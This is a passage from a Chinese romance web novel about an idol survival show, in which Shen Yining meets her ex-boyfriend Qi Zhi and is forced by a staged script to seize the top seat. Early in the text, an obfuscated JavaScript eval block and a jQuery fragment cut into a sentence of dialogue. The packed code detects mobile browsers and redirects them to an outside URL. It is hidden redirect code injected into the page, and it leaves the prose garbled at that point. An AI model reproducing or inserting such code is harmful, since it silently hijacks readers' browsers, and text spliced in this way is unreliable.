祁致压根做不到彻底跟沈亦凝划清界限，即使知道不能靠近她，但是他还是这么做了。 吉皋其实昨晚有质疑过他，“祁致，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159552|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说得倒好，说的是只在暗地里陪着她，但是你能保证可以控制住不去找她？我觉得你压根做不到，你做不到的。” 他还说。 ——你只是在为了自己接近她找了个合理的借口罢了。 ——你明知道她不会和你复合，她心底还不定还有你的位置。 ——过度接近她只会让她觉得困扰，让她觉得你威胁到她的事业，然后再让自己伤心一次。 祁致闭眼两秒。 当局者迷旁观者清，吉皋毕竟已经是他这么多年的好朋友，十分了解他，也果然一语成谶，他的确做不到。 其实道理他都懂。 但是多巴胺对大脑的诱惑真的难以抵挡。 喜欢一个人就会产生欲望，欲望裹挟着他，让他做出这种不算理智的行为。 可伤口实在是太痒了，他忍不住了，于是只能无数次对自己说，他就挠一回，就挠这一回。 他已经控制不住上瘾了，那就最后放肆这一次。 他就只放肆这一次。 放纵上瘾，靠近她。 祁致深呼吸，睁开眼，握着她手腕的手并没有松开，而是耐心又问了一遍，“你手臂的伤这么严重，在哪里弄的？” 是熟稔、温和、带着关切的语气。 沈亦凝的双眼蓦然起了一层清雾。 她突然觉得有点委屈，她突然想跟他叽里呱啦说一堆，就像从前一样，说清楚自己是怎么受伤的，而后撒娇说伤口其实真的很疼。 但理智战胜了突如其来的感情。 她最终还是没有情绪失控，眼底的请雾渐渐消散，视线由模糊重新变得清明起来。 人不能两次踏入同一条河流。 当一个人第二次踏入同一条河流时，河流已经不是原来的河流了，因为水在流动，时间在流逝，人也在改变。 物是人非。 即使此时此刻跟从前的某些Moment再相像，那也不再是从前。 祁致也已经不是以前那个百分百喜欢她的人，也许此时此刻他是真的在关心她手臂的伤，但那终究是不一样的。 沈亦凝不敢相信他还对她余情未了，更倾向于这只是他作为一个成年人对前任体面的关怀。 祁致，这么多年过去，你对我的喜欢究竟还剩下多少？估计能做到关心我的伤，就已经是喜欢的全部了吧。 即使分手之后，再次相遇也能够体面关心对方，能做至此，也仅限于此。 沈亦凝咬着下嘴唇，借着他关切的语气回忆起从前。理智告诉她现在她应该转身就走，别留恋别牵扯别抱有期待。 但双腿像灌入了水泥，她发现自己有点儿贪恋这一刻。 如果上天在此时给她一个选择超能力的机会，那她肯定会选择时间静止，就静止在这一刻。 不用考虑未来，不用考虑流言蜚语。 只要跟他待着就好。 祁致的眼神像一片深邃不见底的深海，而她此时就像一条岸上的鱼，渴望、迫切接近他。 哪怕可能会溺毙在这片海域里。 她的脑海里似乎听到有仙女教母在跟她说，“你可以一直留在这，直到午夜钟声敲响时。” 人都有欲望，她此时此刻贪心一点也未免不可以吧？ 现在距离正式直播录制还有点时间。 虽然不多，也就几分钟。 但几分钟就好。 她就只贪恋这一会儿。 在无人知晓的时刻，悄悄靠近他一点儿。她只放纵几分钟。 沈亦凝不敢直视他的眼睛，只有抬头盯着他眼尾处那颗浅色的痣，微颤动着的纤长睫毛，轻声回答，“工具箱碰到的。” “什么时候？” “就在刚才，在宣传大楼门口。” “我记得刚才在宣传大楼碰见你的时候还没受伤。” “那时候你都没看我一眼。” “你又知道我没注意到？”祁致说，“那里很多摄像头又有外人，总不能像现在这样。” “像现在哪样？” 他没回答。 但沈亦凝好像听到笑声，也好像没有，但是一抬头，根本看不出他笑过的痕迹，只是眉目舒展着，嘴角轻扬。 祁致松开她的手，晃了晃手里的钥匙，“我记得声乐室好像有药膏，我给你拿一瓶。” “你还在声乐室里放这个？” “习惯了。” 说这话的时候，他偏头看向她，有点儿认真的语气。 沈亦凝瞬间懂了，偏过头去，不打算背这个锅。 她总受伤，又是易淤青体质，三天两头皮肤红肿又带青紫。她也不是那种很会照顾自己的人，药膏什么的全是祁致帮着准备的。 祁致插进钥匙，拧开门。 沈亦凝跟在他身后，突然问道，“你怎么会突然回来这儿？” “拿我的话筒。” 每个专业歌手一般都会有自己的专属话筒，祁致自然也不例外。 他的话筒颜色和应援色都是同一个色调，是如晴空初霁的天青蓝。 当年“日落线”商演结束，少年抱着电吉他，意气风发，下了场直奔她所在的方向，眼眸含笑地看着她，像一只要求表扬的小狗。 沈亦凝十分大方地夸赞了他，“表现得不错。”她又说，“你以后肯定能成为家喻户晓的大歌星。” 后来两人竟聊到了应援色。 沈亦凝转头就看到了他扬着眉，抿着唇看着她笑，少年背后是大片大片的蓝天白云，澄澈苍穹如海般蔓延。 是那样的惊艳。 他的气质和纯粹的蓝很相配。 她试探性说，“你觉得天青蓝怎么样？” 当时的她只是随口一说，却没想到，他真成了大歌星，也真的选择了这个颜色当应援色。 沈亦凝手指轻蜷，只觉得手掌心的项链存在感愈来愈强了。 她沉默地看着面前的祁致。 有这么一瞬间，她真的觉得两人好像回到了过去。 祁致此时蹲下身来开始翻找，找了一会儿没找到药膏放在哪儿，“估计在另一个箱子里。” 祁致正准备去拿另外一个箱子，“我在找一下。” “好……” 沈亦凝手腕处的手表开始“滴滴”地响起声儿来，打破了两个人没能说完的话。 沈亦凝对时间管理十分敏感，这些年养成了个习惯，大事情必须要定个闹钟，以示提醒。 却没想到此时此刻在此时响了起来。 手表的响声似乎像是仙女教母明确警告：“魔法将在午夜钟声敲响时结束，请速速离开。” 午夜钟声响起，魔法消失，梦境结束。 辛德瑞拉，你该离开舞会了。 她也要将离开这儿。 他们都要开始回归现实了。 沈亦凝如梦初醒般，后退一步，态度明显比刚才冷了一些，“如果找不到就算了，我现在也不是很需要了。” 人一生做的选择大部分情况下都是被迫的，违逆本心的。他们不愿意这么做，但又不得不这么做。 她并不想离开，但是此时此刻她不得不这么做。 “我要走了。”她抿唇，又后退一步。 时间来不及了。 她是个过分理智的人，说完便利落地转身离开，刚才能放肆自己沉沦，但此时抽离得也很快。 祁致翻找的动作一停，冲她背影问道，“真的不需要了吗？” 一语双关。 沈亦凝脚步未停，“嗯，不需要了。” 不需要药膏了，当然不止是药膏。 都不要了。 21. 自我评级 今日最新微博热搜Top.1—— 「＃破茧出道营首期直播爆＃」 1L：666，预热了这么久的综艺终于开播了，电子榨菜搞起来！ 2L：纠正一下，并不是综艺开播，只是首期直播而已。 3L：有区别？ 4L：区别大了，今天只是直播一小段，实际上直播完就没得看了，要知道节目后续的话，要等4个月后全部拍摄完，综艺才正式上线星果TV。 5L：没听懂，能否来个语文课代表？ 6L：4L已经解释得很清楚了，没听懂的回家吧，回家吧好不好？ 14L：懂了，节目组神经病吧，没见过那个综艺开播前搞直播的，看个后续还得等四个月后，这不是吊我们胃口吗？反正我是不会看直播的。 15L：我也不看。 16L：一个两个说不看，结果星果TV里这个节目的直播观看人数一直猛增。一群口嫌体正直的人，呵呵。 17L：我对这个综艺并不感兴趣，但是……这个节目有祁致！祁致可是我担啊，他可是出道这么多年第一次上综艺，这谁能忍得住。更何况四个导师都好有实力，粉丝数多，看的人自然也就多了。 18L：吃瓜，听说你担前女友也在，（抠鼻），CP超话都有了！ 19L：据我十几年看小说的经验，你担不会和他前女友旧情复燃吧？（搬个小凳子坐下） 20L：你首先需要把小说软件卸载，小心看坏脑子，别捆绑CP，那都是多少年前的事情了，复合是不可能复合的！！ 22L：复合是不可能复合的！ …… 10825L：复合是不可能复合的！ 节目直播刚开始五分钟，祁致粉丝超话大粉带头发帖： 「芝士球们，集合啦！节目今天正式开始首期直播，大家今天一定要记得控评，千万不要让某人跟我们家扯上半点儿关系！」 十分钟后。 小芝士球们纷纷喊话—— 【大事不好了，上热搜了。】 【大大大事不好了，热搜热度已经第二了！】 当天娱乐热搜top2词条＃复合是不可能复合的！爆＃ 大粉咆哮：靠！你们都是怎么控评的？ 路人：热搜top2？什么意思，点进去看一下。 “芝士球”们无语了：“……” “沈金兵”们抓狂：你们到底在搞什么飞机？！节目开直播了还送热度给那个人？ “芝士球”和“沈金兵”本来是八竿子打不着一块儿去的关系，却因为有共同的敌人，早就建立起深厚革命友谊，在今天晚上格外默契地统一战线。 两拨人看到热搜的时候，都愣了一下，恨自己战斗力如此之强，又送敌人上了一波热搜。 于是两拨人在共同建立的超话“沈亦凝黑料屋”里发布了紧急公告： 「“沈金兵”列队集合，今天沈亦凝参加的节目开播，我们直接飘屏其它导师或练习生的名字，千万不要提到她，别给她热度，别给她热度，别让她再上热搜了，让她在这个节目里彻底糊掉！退团的人不配再复出上舞台！」 「“芝士球”看过来，在今晚星果TV的直播间，大家只需要评论“祁致”，别带任何有关“沈亦凝”或者“syn”有关！不要让路人们知道这个人的存在！不要刷CP相关，不要继续给syn热度了！」 芝士球：收到收到！ 沈金兵：保证完成任务！ 沈亦凝在内娱除了他们和小部分路人粉丝认识她之外，就压根没多少人知道她的存在。 少了这两波主力军，节目开播时，直播弹幕里愣是一个名字都没有刷到她。 大部分都在飘屏： 【为祁致疯，为祁致狂，为祁致哐哐撞大墙】 【凌杭凌杭，妈妈爱你！】 【宋晚照，你今天美死了，简直就是仙女下凡】 【喂？能给导师投票吗，我要让贺彦原地出道】 至于其他人……压根就没有任何动静，最多也就只有那几个稍微有名气的“回锅肉”的练习生偶尔飘过去一两次，不过很快就被盖掉了。 沈亦凝怎么可能能够在这四个超流量导师的名气下得到路人的注意力。 不过她也不在意直播间里是否有没有人注意到她，她刚经历了八百米冲刺来到录制现场，早就累个半死，喘气都来不及，更何况……今天她压根没准备好考核，绝对是注定在直播间里丢脸的。 她还是觉得今天在直播间里越低调越好，省得太多人关注她还要被嘲。 一个通宵速练，能练得出花来那才有鬼。 录制场地是在一个大厅，摆放了100张凳子，样子看起来像是大学开会时的大厅。 百名练习生依次进场，有的是一个个进，有的是同个公司有自己原来的组合，成群结队进入。 直播间继续飘屏。 【让我康康百名练习生里有没有美女。】 【随便挑个顺眼的赌一下能否出道。】 【我要找脸最美的，女团就是要看颜值。】 【肤浅！！！】 沈亦凝踏进录制大楼，走上三楼，左拐推开门进去就是今天的录制现场。 她的进场位置比较靠后，在她之前已经陆续进了不少人。 有一些比较有名又漂亮的引起了网友的注意力。 【温南乔果然是千金，她今天带的耳环6w一对。】 【而且长得很漂亮，又贵气。】 【闻幼晴和童夏月也很不错，毕竟是星二代，父母颜值放在哪儿呢。】 【虽然是星二代，但是长得真没有她们父母好看，这是能说的吗？】 【可是放在练习生里很能打了呀。】 【那确实。】 【别光看颜值啊，女团要颜值实力兼备，了解一下韩娱圈好吗？我觉得女团实力最重要，颜值是其次。】 【看看任薇时和乐书竹吧！超有实力长得超美。】 【这两人谁？】 【曾经一个糊团的主唱和主舞，没什么水花，团解散了又来参加综艺曝光一下。】 【确实挺好看，买股一下。】 【还有几个素人练习生长得真不错，那小脸，太美了。】 在弹幕翻腾得欢快的时候，沈亦凝在后台喝了口水，整理一下凌乱的头发，还随便处理了一下自己的伤口——她包里有枚创可贴。 是上次在机场的时候，祁致给她的，只不过那个时候她没用，没想到会在这个时候派上用场。 其实她是不想要用掉这枚创可贴的，但是伤口不处理的话，实在是太显眼了，毕竟还要上镜。 贴上创可贴后，沈亦凝准备进场。 直播的摄像头就在录制大厅的门口，只要走进那条长廊，一直到推门进去的时候，都会被录到直播大厅里。 沈亦凝正踏上长廊，耳麦里传来导演的声音，“直播过程中记得看剧本，按照剧本演。” “……” 哦，差点忘记了，她还有剧本在身。 这么一想，她实在是开心不起来，嘴角抿直，于是一张面无表情的臭脸出现在直播间。 【这女生一个人出场唉！】 【来自Y.E娱乐？好像是大公司。】 【她好漂亮啊，也好高，有一米七吗？】 【应该没有一米七，纯粹是比例好吧。】 【我去，这人不出道天理难容吧？这脸这么小，美得和建模一样。】 【出道那还得有实力啊，不过这人在我这里已经出道了，光是看着就赏心锐目。】 【这人谁啊？】 【你不会看她身上的名牌啊？叫沈亦凝。】 【……666，这就是那个大名鼎鼎的前女友？】 【长成这样，怪不得能谈顶流呢，一时间竟然不知道应该羡慕谁。】 弹幕里正讨论沈亦凝热火朝天呢，突然有大军开始控评： 【宋晚照，你美你美你美！！】 【祁致你终于上综艺了，终于等到你，还好我没放弃～】 【你也来看祁致吗？那太好啦，只要你喜欢他我们就是好朋友。】 【给贺彦打call】 【凌杭凌杭，为你保驾护航！！】 各种弹幕开始飞速翻滚，把关于沈亦凝的零星议论给直接掩盖了过去。 路人：？？弹幕疯了？我们只是想知道这人是谁，疯狂飘屏其他人的名字是几个意思。 但每个练习生出场时间只有短暂几秒，这几秒的疯狂控评之后，等下个练习生出场，路人们又开始议论下一位。 关于沈亦凝的议论也就这么几乎没了。 屏幕前疯狂控评控到手软的芝士球和沈金兵们狠狠地松了一口气。 好险好险，还好控制住了，没让大家继续议论一个坏女人。 想获得流量和讨论度？门都没有！ 其实没关注度也真如了沈亦凝的意，她目前就只想当个透明人，越透明越好。 沈亦凝进场之后，随便挑了一个角落处的座位坐下。整个大厅前后左右都是摄像头，只不过镜头已经不再聚焦在她身上，她可以光明正大地靠在座位上摸鱼。 座位一共四排，一排坐25位练习生。 抬头正对面就是舞台，旁边是各种音响和闪光灯、收音麦之类的东西。 沈亦凝坐在最后一排最角落的位置，这个位置十分安全且不显眼。 刚坐下来，一个带着黑口罩的工作人员状似无意地从她身边经过，模样看起来像是个年轻的小姐姐。 直觉告诉沈亦凝，这个工作人员好像是冲着她来的，但是她很快就否定了这个想法。 她都不认识他，怎么可能是冲着她来的。 沈亦凝摇摇头，低头查看自己手臂处的伤口，正感叹这个创可贴的止血效果还算不错，一瓶药膏突然从天而降。 那个不知名的女工作人员，从她身旁走过时 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沈亦凝抬起头来，看到舞台上那张精致秀气的脸，心里毫无波澜，反倒是手里药膏的存在让她心率飙升。 沈亦凝把药膏收好，赶紧做好表情管理，努力打起精神来参与录制，然而瞪大眼睛盯着台上的人说话没几秒钟，她的眼皮便开始控制不住地打架。 凌杭手握麦克风，还在继续念着台本上的台词。 “每个女孩都要自信且学会自我肯定，请大家发自内心地认可你自己。于是首期录制第一回合：练习生的自我初评级。” 随着凌杭的话落下，他背后舞台的背景突然变成了一道大门，大门缓缓打开，出现了一座座位金字塔，从上到下呈现金字塔形状，顶部只有一个座位，代表no.1。 “最上边的位置代表你对自己很有信心，最下边的位置代表你觉得自己还没准备好，现在请你们以进场时候的位置依次进行自我评级。”凌杭对着笑了一下，转身退场。 把镜头留给练习生们。 【凌杭太温柔了QAQ，想亲一下。】 【你好流氓，还好我怀里已经有祁致了嘿嘿。】 【好刺激，让我康康谁敢选出道位的那几个位置。】 【蹲一个。】 在场练习生都沉默了一瞬。 选位置这种事情真的是一个大学问，若是要选择比较靠前的位置吧，那肯定会在首期直播的时候就收获最大的关注度。 但是中国人普遍都比较喜欢谦虚的人。 有实力又谦虚，那肯定会博得好感。 一上来就坐出道位的位置上，结果发现自己实力不太够，那绝对被群嘲，还会被讽刺不谦虚。 但是你要谦虚吧……选了个不好的座位，那肯定就浪费了首期直播曝光的机会，没热度没关注度，那也不好。 这也不行那也不行，当真是左右为难的事情。 是顶着压力当一名随时被嘲的野心家，还是当默默无闻最后靠实力一鸣惊人的伏地魔？ 难以抉择。 于是这也是直播的一个看点之一。 “真服了，怎么还有自我评级这个东西。”在凌杭下场之后，练习生们开始忍不住地疯狂吐槽起来。 最头疼的是第一个进行选择的人，她都不知道选哪里，于是选了个不上不下的位置——第18名。 既不太靠前，也不落后，总体对自己还比较满意，算是比较安全的选择。 后续跟着的几个练习生也都是和她同样选择，都是选的比较靠前的中间位置。 【切，怎么都这么选啊，我还想等着谁第一个坐出道位呢。】 【谁敢坐啊？上来就选出道位，实力不够颜值不够肯定会被喷。】 【是我我也不选，因为我怂。】 直到自我评级评完20个左右的练习生后，首个坐到出道位的女生出现了。 ——温氏千金，温南乔。 温南乔直接坐到了5的位置。 出道位不上不下的位置，却也已经透露了浓浓的傲气和野心。 坐上出道位的都会有拿到麦克风发言的机会。 温南乔接过麦克风，一个挑眉，“我觉得我配得上这个位置。” 言简意赅、够酷够飒。 弹幕顿时疯了。 【见证了首个敢坐出道位的练习生。】 【果然是大小姐，太绝了，与身俱来的自信。】 【就冲这份勇气，我粉上她了，等节目播出我肯定给她投票。】 【温南乔大美女，冲啊。】 【再蹲个敢坐NO.1的人。】 【感觉这个位置不会有人选，大概率是剩下最后，然后被迫被架上去。】 弹幕里正飞快滚过不相信第一王座有人会坐上去，却没过几分钟，那个人出现了。 22. 专属情歌 首次评级这事儿，确实挺让人紧张的，但是却并不包括沈亦凝在内。 因为她压根就没有选择的机会。 剧本上明晃晃地写清楚一条：「自我评级时请坐到第一王座上。」 一个“请”字，礼貌中带着几分隐隐的威胁。 节目组写出这个剧本的目的昭然若揭——他们知道她短暂一个晚上压根练不出什么名堂，在他们看来，说不定沈亦凝连歌词都记不下来，所以在直播的时候绝对会出丑。 再让她按照剧本上写的自信坐上第一王座的位置，这不就明晃晃地想要看她出丑么。 等她坐上第一王座，接下来进行主题曲集体评级时，让观众发现她空有野心没有实力，对她的第一印象就会十分差劲。 等直播关闭，后续要四个月才上线星果TV，在这四个月时间，这些直播片段就会一传十十传百。 少说沈亦凝都要被追着骂四个月。 对此，沈亦凝只有两个字：无语。 节目组真的挺神经的，沈亦凝有时候压根搞不明白为什么非得逮着她不放。 故意整她，除了给节目组增加一点流量之外，难道这对他们有什么作用吗？ 非要献祭她。 但是她没有办法。 虽说自己看起来是个小演员，成日活在聚光灯下，但是那只是表面看起来工作还算体面而已，只有她自己知道，她不过只是公司里一个小小的打工人，没有一点儿话语权的。 当初十四岁的自己不懂事，在Y.E这个狗屁公司一签合同就签到三十岁才解约。 十四岁到三十岁，人一生中最青春的几年都要耗在YE了。 如果能回到过去，沈亦凝一定会一巴掌扇死自己：看你做的好事！ 但人生如棋、落子无悔。沈亦凝不喜欢纠结“如果当初”，更不想沉溺“我本可以”，否则这样的日子会很难过。 如今YE能给她复出的舞台机会，她知道自己自然要牺牲一点什么东西。 对此也能坦然接受。 于是别的练习生在选座的时候，沈亦凝在事不关己的蜷缩在角落里偷偷睡觉。 毕竟实在是太困了，她必须偷偷补眠，等到她选座的时候，坐上第一王座接着等着被骂就好。 被骂而已，这些年又不是没被追着骂过，虽是内娱小糊咖，但是每天收到微博私信问候都在999＋。 多大点事嘛！ 平常心就好了。 沈亦凝既然无法反抗，与其内耗不如睡觉的原则，舒舒服服地在角落里摸鱼，就这么眯眼小憩了十几分钟，终于在一阵尖叫声中被吵醒。 她眨了眨眼睛，眼睛睁开一条缝，就看到第一王之座上此时已经坐了一个人，身旁练习生在疯狂欢呼。 “牛逼，童夏月你太牛逼了！！” “王之座啊啊啊！！童夏月我真佩服你。” 不只是身旁练习生们控制不住尖叫起哄，直播间也疯了。 【不愧是童舟的女儿哈哈哈，big胆！】 【毕竟她老爹是演过“部队突击”特种兵兵王的女儿，就是有种。】 其它练习生炸了，直播间网友疯了，沈亦凝懵逼了。 直播镜头给到台下的凌杭，他手握麦克风，微弯笑眼，“王之座有人选择了呢，童夏月你很有勇气，现在镜头和麦克风交给你，现在也是你的发言时刻。” 麦克风落到了童夏月手里，她对着镜头笑了一下，语气灵动又俏皮，“第一王座坐起来真的不错哦～”说完对镜头比了个爱心。 直播间弹幕翻滚： 【凌杭我吃醋了，你怎么可以对童夏月笑得这么宠，我哭死。】 【顶级甜妹童夏月，第一个坐上王座的女人，爱了爱了。】 【这人谁啊，我爱上这个女生了呜呜呜。】 【夏月宝宝妈妈爱你。】 【女孩子也可以是野心家啊，好勇敢的宝宝。】 【我喜欢这个姑娘，从不掩饰野心，想要就直接拿到手！】 沈亦凝低头再三确认自己手中的剧本，脑袋上方缓缓冒出一个问号。 按照节目组的规划，坐上王之座的人应该是她才对，但是像这种节目，就是会出现各种各样突发情况，就比如现在，谁也没料到杀出一个童夏月来，彻底打乱了节目组的计划。 童夏月走了这一步，明显已经在节目组的计划之外，那岂不是意味着她就不用顶着压力去抢王之座了？ 沈亦凝愣了两秒钟之后，慢慢缓过神来，嘴角控制不住轻扬起一个弧度，心里开始默默地庆幸起来。 还好有这个意外存在啊，她可以不用跟着剧本走了，本来沈亦凝还在昏昏欲睡当中，昏睡虫瞬间就被赶到九霄云外。 她心里一边默默地给童夏月打call，一边搓搓小手起身，准备往下位圈走过去。 童夏月啊童夏月，感谢救命之恩！你的大恩大德我永生…… 「难忘」两个字还没有来得及在心里感叹完，沈亦凝的耳麦里传来节目组策划导演的声音。 策划导演：“继续按剧本走。” 沈亦凝脸上的笑容顿时僵硬在脸上，她有一瞬间以为自己幻听，耳麦里策划导演那如同恶魔催命的声音再次响起，“把王之座抢过来。” 沈亦凝：…… 沈亦凝：Areyoukiddingme？我抢你大爷啊。 现在练习生正沸腾，直播间里正疯狂。 她在这个风头上怎么抢，难不成跟童夏月说“我想坐这里，你给我滚”？ 光是想想就足够让人窒息的程度。 直播间里的人一口一个唾沫能够瞬间把她给淹死，与此同时为童夏月打抱不平的人会越来越多。 沈亦凝不免怀疑，温氏千金温南乔不一定是皇族，童夏月这个家伙才是真正被内定出道的皇族。 也许今天这一波就是节目组策划好的，牺牲她成全童夏月。 沈亦凝深吸一口气，最终还是听从了策划导演的安排。 接下来，直播间里出现了无比诡异的一幕——沈亦凝前往下位圈的脚步顿住，像是被控制了一样，脚步僵硬面无表情地从下位圈一步一步走上金字塔。 其它练习生自评选座位的时候，直播间都在疯狂讨论和打赌，唯独到沈亦凝选座位的时候，画风格外不一样。 直播间里到处飘屏给各种人打call的评论，唯独没人讨论她。准确来说是直接把议论她的那少部分评论给人为性地直接压下去了。 真相只有一个——“士兵”们正在拼了老命地敲键盘控评。 能让“沈亦凝”这个名字在直播间里出现哪怕一秒钟，那都是他们打字不够快！ 即使直播间里评论打不过，真正在屏幕前观看直播的路人，还是难免会在心里好奇，沈亦凝这人究竟选择去哪个座位。 也不是所有练习生都备受关注，主要是长相优越的、自带热度的、或者是有自己独特气质画风的才会被关注。 上述的几点，沈亦凝无疑都沾点边。 当她从下位圈走上中位圈，路人们都在赌她会不会往上位圈走去。当她路过上位圈，大家表示正常，毕竟她有颜值，美女对自己自信一点儿好像也十分正常吧。 当她淡定路过上位圈直奔最上方的几个出道位走过去的时候，路人和练习生都兴奋了：难不成又出现了一个“漂亮野心家”？ 可当她一路往上走，一路直逼王之座，最终走到童夏月面前的时候停下脚步时，场地里一片安静。 是十分诡异的沉默，落针可闻。 耳麦里策划导演悠悠开口：“直接抢。” 沈亦凝顶着压力，硬着头皮开口，打破了这片死一样的沉默，“你好，我也想坐这里，能把这个位置让给我吗？” 直播到目前为止，最大的看点来了。 童星出身的童夏月，对打曾经韩娱女团Center沈亦凝。 托父亲童舟的福，童夏月很小就参加亲子综艺，在内娱知名度挺高，反观沈亦凝，在内娱查无此人，除了芝士球和自家黑粉沈金兵在疯狂关注她之外，路人对她的印象几乎为零，估计有一群真爱粉丝，但是都是处于比较沉默的状态。 内娱路人观众认识沈亦凝的途径全是因为之前曝光“素人时期恋爱瓜”，知道她是某某当红歌手的前女友。 除此之外一无所知。 于是两个人此时此刻在对峙的时候，直播间的路人观众比较偏向谁就一目了然了。 更何况……这种抢座位的行为本来就不占理，甚至还有些讨人厌。 骂沈亦凝护童夏月，就是这么一件自然而然的事情。 那句话抢座位的说出口时，沈亦凝能够感觉到在场所有人的视线都汇集在她身上。 有练习生小声吐槽，“我靠，她不会也想直接坐在那个位置吧？这个位置都已经有人坐了，还抢啊？” “她这么勇的吗，就不怕被骂？” “谁知道啊，这也太drama了，为了流量吧，黑红也是红啊。” 直播间也炸了，清一色地扣起了“666”。 内娱主要还是观众盘更多，有时候一两家粉丝的控评还是比不过民愤，“士兵”们从节目一开播就开始控评，但是千算万算都没有算到沈亦凝这个家伙会突然来这么一出。 于是不受控制的，“沈亦凝”这个名字还是出现在了直播间里，而且是大范围地不受控制般狂翻滚弹幕： 【什么什么，我眼花了吧，原来还可以抢座位的吗？】 【沈亦凝这姐是懂综艺效果的，开播前就开始营销，再加上现在这么一波骚操作，大家的关注度不就全在她身上咯？】 【我不懂，好低情商的操作，人家都坐上去了还抢什么。】 【她比童夏月好看，估计对自己很有信心吧。】 【666，您这是三观跟着五官走？这种行为也有人护，真的是太绝了。】 【我说护她了吗？我只是在揣测她的行为动机，我只是推测她也许对自己有自信，所以选择抢位置，我又没说这个行为对。】 【但这个行为也说不上错吧，别对女生这么大恶意，宽容一点好吗，毕竟节目组也没规定别人选了座位之后不能抢位置吧？】 【可这也太不道德了。】 【都说了这姐很会营销搞事的，节目没播出之前就经常能够刷到她，现在初场直播又搞这种。】 【真搞不懂她为什么会这么做，难道真不怕被骂吗？】 【说不定人家就想被骂呢，她一看就是走黑红这条路线的，黑红也是红啊，如果没人骂她她早就查无此人彻底糊了。】 【童夏月实惨，好不容易鼓起勇气坐上了Topone的位置，结果半路杀出个程咬金。】 直播间里翻滚的弹幕，童夏月跟沈亦凝压根就看不见，准确来说是在场的所有练习生都没办法看见。 但是毕竟沈亦凝的这个行为真的实在是太过有争议，她们基本上能够猜测到现在直播间里绝对不会很太平。 童夏月跟沈亦凝面面相觑。她沉默着，似乎在思考，面露纠结的样子。 时间每度过一秒钟，对沈亦凝都是一场煎熬。 其实直播间里还是有理性的观众的： 【别太玻璃心了吧，这不是跟读书时候班委竞选一个道理？谁对某个位置感兴趣就抢呗。】 【社会丛林的规则只有一条：成为狩猎者，或者成为猎物。总所周知野心家并不是个贬义词，有野心的人才能得到世界，抢座位我觉得没问题哈。】 【说句公道话，她这种人其实真坏也怪不到哪里去，毕竟有谁把野心直接摆在明面上的，想要王之座直接光明正大抢，总比暗地使绊子强，适者生存，不适者直接over咯。】 【不是谁的粉丝，抢座位也没问题，我建议来个battle，不是有舞台吗？一人battle一次，唱个歌跳个舞，谁有实力谁坐，两个大美女视觉盛宴哈哈哈。】 【干脆一起坐算了，王之座比其它座位大这么多，与其搞对立不如两个美女友好贴贴嘿嘿嘿。】 只不过“士兵”们一看到这种带有偏向沈亦凝性的评论，直接开始各种控评，把这种理性看待的评论压了下去。 控评内容包括且不局限于“低情商”、“为了流量”、“茶姐”之类。 由于他们的专门控评，加上批判这个行为的路人占比比较大，于是直播间90％以上都在批判沈亦凝。 于是在无人知晓的角落，微博热搜又偷偷多了一个词条： ＃沈亦凝抢座童夏月＃ 虽然热度并不高，只卡在第22这个位置，却也算是小小地出圈了一把。 微博上一溜水军找准风口骂人，直播切片没多久估计也将被剪辑出来丢到短视频传播平台上边了，在被一些营销号掐头去尾剪辑一下，又将是一款妥妥的流量密码。 节目组后台看到直播间的激烈反馈，都十分满意。 他们也并不是说非要献祭沈亦凝。 只是像这种选秀综艺，资方为了流量和挣钱，就一定要有人牺牲。 其实百名练习生里，并不止沈亦凝一个人拿了剧本，还有不少人都拿了剧本，只不过她们互相都并不知情。 剧本分为「实力制霸」、「争议人物」、「低开高走」、「逆风翻盘」、「搞笑担当」、「异军突起」等等…… 有剧本的存在才能够充分保证这个节目有看点。 至于谁拿到不好的剧本，那就只能自认倒霉了，就像节目组评估一圈下来，觉得沈亦凝拿个「绿茶炮灰」的剧本实在是太合适不过的事情了。 沈亦凝虽说签约的是个大公司，但公司并不护她，节目组只需要给她一个参加节目的曝光机会，她就得卖力演戏，给节目带来流量为资本挣钱。 而且她身上最近很有流量，就像今晚的直播，她就能够为节目组带来不少流量，能够吸引观众点进节目来尝一尝咸淡。 还不需要承担风险。 真是稳赚不赔的一件事情。 资本明确知道观众想看什么，大部分情况下让观众看到的东西，都不一定是真的。 ——你能看到的，其实都是我想让你看到的罢了。 只不过一些不懂内幕的人，容易看到什么就相信什么，也很容易在网络上被营销号当枪使。 就像现在，节目组安排在沈亦凝身上的剧本，就起了很大的作用和很好反馈。 被骂也是流量，最怕的是无人关注。 策划导演说，“把这个直播切片剪辑一下，发节目组官号上，说不定还能够再上一波热搜。” 导演助理小声跑过来，皱着眉头说，“微博上关于抢座的热搜刚上热搜就被撤下来了，热度top2的热搜也被撤下来了。” 策划导演一愣。 如果他没记错的话，热搜top2的热搜是＃复合是不可能复合的！爆＃ 策划导演：“祁致工作室把热搜撤下去的？” “top2的热搜应该是他家撤下去的，但是……”助理疑惑道，“抢座热搜应该不是吧，都这么多年前的前女友了，他家应该不会帮她撤热搜吧，而且一些营销号发了抢座类似的视频，一律都被限流，要么就是压根发不出去。” 那还能是谁？ 不是说沈亦凝是纯草根，没有什么背景吗？而且明显她的公司也并不捧她，压根就不可能在这种风口上护着她了。 如果不是她前男友祁致还能是谁？但祁致也确实没有这个动机去这么做。 毕竟谁会去管前任的死活呢？ “……”策划导演沉思片刻，实在是想不明白于是直接选择放弃了：“算了，今天看过这场直播的人总人数少说也有百万，就算没热搜也不要紧了。” *** 童夏月坐这个位置单纯只是因为对自己有自信，毕竟童星出道，粉丝数在现场的所有人里也数一数二。 她坐这个位置，主要是自己有自信心在今天的主题曲考核拿下一个不错的成绩，即使被骂了也会有人护着，总体来说利大于弊。 但有人过来抢她座位这事她也是完全没有料到的，所以她才会愣住，除此之外，她愣怔的原因还是因为——压根不解为什么沈亦凝会来抢座位，真的很让人想不通啊。 这种靠争议行为博取流量的行为，属于是自损八百了，一般正常人都不会做出这种举动吧，起码童夏月就不会这么做。 即使有“黑红也是红”这个说法，但是一般人谁会发疯？ 